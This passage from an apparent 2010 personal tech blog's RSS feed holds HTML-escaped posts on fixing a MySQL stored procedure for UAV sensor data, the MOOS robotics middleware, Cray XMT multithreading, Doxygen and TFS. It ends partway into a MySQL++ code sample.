&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt;19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt;20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt;21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt;22&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;DELIMITER&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;$$&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;DROP&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;PROCEDURE&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;IF&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;EXISTS&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;`&lt;/span&gt;someSchema&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;`&lt;/span&gt;.&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;`&lt;/span&gt;sp_someSP&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;`&lt;/span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;$$&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;CREATE&lt;/span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;DEFINER&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=`&lt;/span&gt;someUser&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;`@`&lt;/span&gt;someServer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;`&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;PROCEDURE&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;`&lt;/span&gt;someSchema&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;`&lt;/span&gt;.&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;`&lt;/span&gt;sp_someSP&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;`&lt;/span&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;in&lt;/span&gt; uavname &lt;span style=&#34;color:#91d7e3&#34;&gt;varchar&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;20&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;BEGIN&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;SELECT&lt;/span&gt; u.id, i.&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;, ll.&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;, &lt;span style=&#34;color:#c6a0f6&#34;&gt;g&lt;/span&gt;.&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;, &lt;span style=&#34;color:#c6a0f6&#34;&gt;c&lt;/span&gt;.&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;FROM&lt;/span&gt;    uav &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; u,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    imu &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; i,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        uav_ll &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; ll,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        gps &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;g&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        uav_controller &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;c&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;WHERE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    u.name &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; uavname &lt;span style=&#34;color:#c6a0f6&#34;&gt;and&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        u.id &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; i.uav_id &lt;span style=&#34;color:#c6a0f6&#34;&gt;and&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        u.id &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; ll.uav_id &lt;span style=&#34;color:#c6a0f6&#34;&gt;and&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        u.id &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;g&lt;/span&gt;.uav_id &lt;span style=&#34;color:#c6a0f6&#34;&gt;and&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        u.id &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;c&lt;/span&gt;.uav_id
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;END&lt;/span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;$$&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;DELIMITER&lt;/span&gt; ;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The main issue in my example above was that a delimiter (semi-colon in this case) was missing where the SQL statement finishes i.e. in the last WHERE condition. Here is a snippet of what the updated WHERE clause should look like.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt;6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt;7&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;WHERE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    u.name &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; uavname &lt;span style=&#34;color:#c6a0f6&#34;&gt;and&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        u.id &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; i.uav_id &lt;span style=&#34;color:#c6a0f6&#34;&gt;and&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        u.id &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; ll.uav_id &lt;span style=&#34;color:#c6a0f6&#34;&gt;and&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        u.id &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;g&lt;/span&gt;.uav_id &lt;span style=&#34;color:#c6a0f6&#34;&gt;and&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        u.id &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;c&lt;/span&gt;.uav_id ; &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;-- semicolon added here
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;END&lt;/span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;$$&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>King and Queen</title>
      <link>/post/2010/11/king-and-queen/</link>
      <pubDate>Fri, 19 Nov 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/11/king-and-queen/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/clip_image002.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Thought of the day</title>
      <link>/post/2010/11/thought-of-the-day-4/</link>
      <pubDate>Wed, 10 Nov 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/11/thought-of-the-day-4/</guid>
      <description>&lt;p&gt;I&amp;rsquo;m so broke even my computer is low on cache.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>MOOS</title>
      <link>/post/2010/11/moos/</link>
      <pubDate>Sat, 06 Nov 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/11/moos/</guid>
      <description>&lt;p&gt;I don&amp;rsquo;t think many people have heard of &lt;a
	
		href = &#34;http://www.robots.ox.ac.uk/~mobile/MOOS/wiki/pmwiki.php/Main/Introduction&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		MOOS
	&lt;/span&gt;
&lt;/a&gt; (which stands of Mission Oriented Operating Suite); I have been working with it for the past few months as part of my dissertation. And I must admit, the more I play with it, the more impressed I am. It is quite simple and yet powerful.&lt;/p&gt;
&lt;p&gt;Whilst MOOS&amp;rsquo;s roots are in robotics (&lt;a
	
		href = &#34;http://ori.ox.ac.uk/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		MRG
	&lt;/span&gt;
&lt;/a&gt;) and embedded systems, I wonder if I can extend it to use it some of the grid computing scenarios. Maybe implement a pMapReduce or pHadoop? Or perhaps a .NET implementation. Hmm, just need some time. If you need a robust, cross platform communication layer then check out &lt;a
	
		href = &#34;http://www.robots.ox.ac.uk/~mobile/MOOS/wiki/pmwiki.php/Main/Introduction&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		MOOS
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Cray XMT</title>
      <link>/post/2010/11/cray-xmt/</link>
      <pubDate>Fri, 05 Nov 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/11/cray-xmt/</guid>
      <description>&lt;p&gt;As you might have heard, the &lt;a
	
		href = &#34;http://www.cray.com/products/XMT.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Cray XMT
	&lt;/span&gt;
&lt;/a&gt; implemented a multithreaded processor architecture (called Threadstorm); these processors are compatible with &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Socket_F&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Socket F
	&lt;/span&gt;
&lt;/a&gt; which means they can use the AMD Opteron CPUs. The interesting part however is that these Threadstorm CPU’s only execute user code and avoids memory dependency stalls i.e. when the &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Memory_dependence_prediction&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		memory dependence prediction
	&lt;/span&gt;
&lt;/a&gt; goes wrong and stalls the specific load to ensure there is no violation.&lt;/p&gt;
&lt;p&gt;The Cray XMT does this by switching among 128 concurrent threads. As the XMT supports more than 8000 CPUs, if one needs to maximize throughput the developer must provide at least 128 threads per CPU, With 8K CPUs you are looking at over 1,024,000 threads! &lt;p&gt;

    &lt;img src=&#34;images/wlEmoticon-surprisedsmile.png&#34; alt=&#34;Surprised smile&#34;/&gt;

&lt;/p&gt; Needless to say, with such large number of threads, it is extremely important to get thread management implemented correctly – without that the system won’t be able to scale and even deadlock.&lt;/p&gt;
&lt;p&gt;Another factor is the application design specifically the parallel programming models (including the recursive threaded models) and resource management to be able to successfully handle resource exhaustion.&lt;/p&gt;
&lt;p&gt;If this is an area of interest then you should check out the likes of &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Openmp&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		OpenMP
	&lt;/span&gt;
&lt;/a&gt;, &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Parallel_Extensions&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Parallel Extension to .NET 4
	&lt;/span&gt;
&lt;/a&gt; (which include PLINQ and TPL), &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Concurrency_and_Coordination_Runtime&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		CCR
	&lt;/span&gt;
&lt;/a&gt;, etc.&lt;/p&gt;
&lt;p&gt;Underpinning all of this of course is &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Amdahl%27s_law&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Amdahl’s law
	&lt;/span&gt;
&lt;/a&gt; which one should be comfortable with; including its relation to the law of &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Diminishing_returns&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		diminishing returns
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I wonder, where I can I get some time on a Cray XMT? I can also settle for a &lt;a
	
		href = &#34;http://www.cray.com/Products/CX/Systems.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Cray CX1
	&lt;/span&gt;
&lt;/a&gt; – anyone willing to donate some money to a poor geek to help with this? &lt;p&gt;

    &lt;img src=&#34;images/wlEmoticon-winkingsmile.png&#34; alt=&#34;Winking smile&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Impressed with Doxygen</title>
      <link>/post/2010/10/impressed-with-doxygen/</link>
      <pubDate>Sat, 30 Oct 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/10/impressed-with-doxygen/</guid>
      <description>&lt;p&gt;I have recently started using Doxygen in anger and have been quite impressed with it. In addition to the documentation of code that you would expect, one of the most powerful and coolest features is the ability to create various types of diagrams showing various aspects of the application such as collaboration diagrams object and call graphs, etc.&lt;/p&gt;
&lt;p&gt;The easiest way to configure your application  is to use &lt;a
	
		href = &#34;http://www.stack.nl/~dimitri/doxygen/doxywizard_usage.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Doxywizard
	&lt;/span&gt;
&lt;/a&gt;. On Linux, if you do want the object and call graphs then you would need to choose to enable the DOT option. If you do that you will need to have Message Sequence Charts installed (typically found in /usr/bin/mscgen) and also Graphviz. DOT can typically be found in /usr/bin/dot.&lt;/p&gt;
&lt;p&gt;If you are on Windows and use Visual Studio, then there are a few add-ins which will work - with VS.NET &lt;a
	
		href = &#34;http://www.atomineerutils.com/products.php&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		2005, 2008
	&lt;/span&gt;
&lt;/a&gt; and &lt;a
	
		href = &#34;http://doxygenbrowseraddin.codeplex.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		2010
	&lt;/span&gt;
&lt;/a&gt;; more details &lt;a
	
		href = &#34;http://doxygenbrowseraddin.codeplex.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Below is a simple example of a collaboration diagram taken from &lt;a
	
		href = &#34;http://www.vtk.org/doc/nightly/html/index.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		VTK project
	&lt;/span&gt;
&lt;/a&gt;. You can find &lt;a
	
		href = &#34;http://www.stack.nl/~dimitri/doxygen/results.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		more samples
	&lt;/span&gt;
&lt;/a&gt;. When you do browse the code, click on the Classes link - that is where you can see the various diagrams.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/structvtkKdTree_1_1__cellList__coll__graph.png&#34; alt=&#34;Sample Collaboration Diagram&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Proud of the BBC</title>
      <link>/post/2010/10/proud-of-the-bbc/</link>
      <pubDate>Sun, 24 Oct 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/10/proud-of-the-bbc/</guid>
      <description>&lt;p&gt;Brilliant!&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>How to best use TFS?</title>
      <link>/post/2010/10/how-to-best-use-tfs/</link>
      <pubDate>Sat, 23 Oct 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/10/how-to-best-use-tfs/</guid>
      <description>&lt;p&gt;So you have a team (somewhat like mine right now) which is inexperienced with TFS and not very sure about this whole branching, merging, shelveset thinggy and extremely nervous when using it.&lt;/p&gt;
&lt;p&gt;So, what will you do? Well you might try and train them, show them how to use it, write documents showing how to use it, have processes in place, try and use some tools to help, etc.&lt;/p&gt;
&lt;p&gt;But, what do they do? Well this seems to be along the lines &amp;hellip;. &amp;#x1f644;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/6a00d8341d3df553ef0134885909e0970c-800wi.jpg&#34; alt=&#34;Being a coder - made easy&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>MySQL&#43;&#43;</title>
      <link>/post/2010/10/mysql/</link>
      <pubDate>Sat, 23 Oct 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/10/mysql/</guid>
      <description>&lt;p&gt;I had a need to dump some data I am getting from a real-time sensor network to a database and I choose MySQL - just because it is cheap and cheerful and will fit perfectly with what I am looking for. Now, I have never programmed for MySQL though I have used it in the past as a consumer (e.g. the backend of this blog). MySQL does &lt;a
	
		href = &#34;http://dev.mysql.com/doc/refman/5.0/en/c.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		expose a C API
	&lt;/span&gt;
&lt;/a&gt; that one can use, but it seems quite arcane to use and does not quite conform to the C++ style (especially when using STL).&lt;/p&gt;
&lt;p&gt;It is at that point that I stumbled across &lt;a
	
		href = &#34;http://tangentsoft.net/mysql&amp;#43;&amp;#43;/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		MySQL++
	&lt;/span&gt;
&lt;/a&gt; - something I had not heard of and of course not used until now. MySQL++ is just a simple C++ wrapper around the same MySQL C API, but it does follow the C++ STL principles and feels more &amp;rsquo;natural&amp;rsquo; to use. I am still playing with it and getting to know it.&lt;/p&gt;
&lt;p&gt;Below is a quick sample on how to connect to a database and retrieve all the records from a table called &amp;lsquo;stock&amp;rsquo;.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
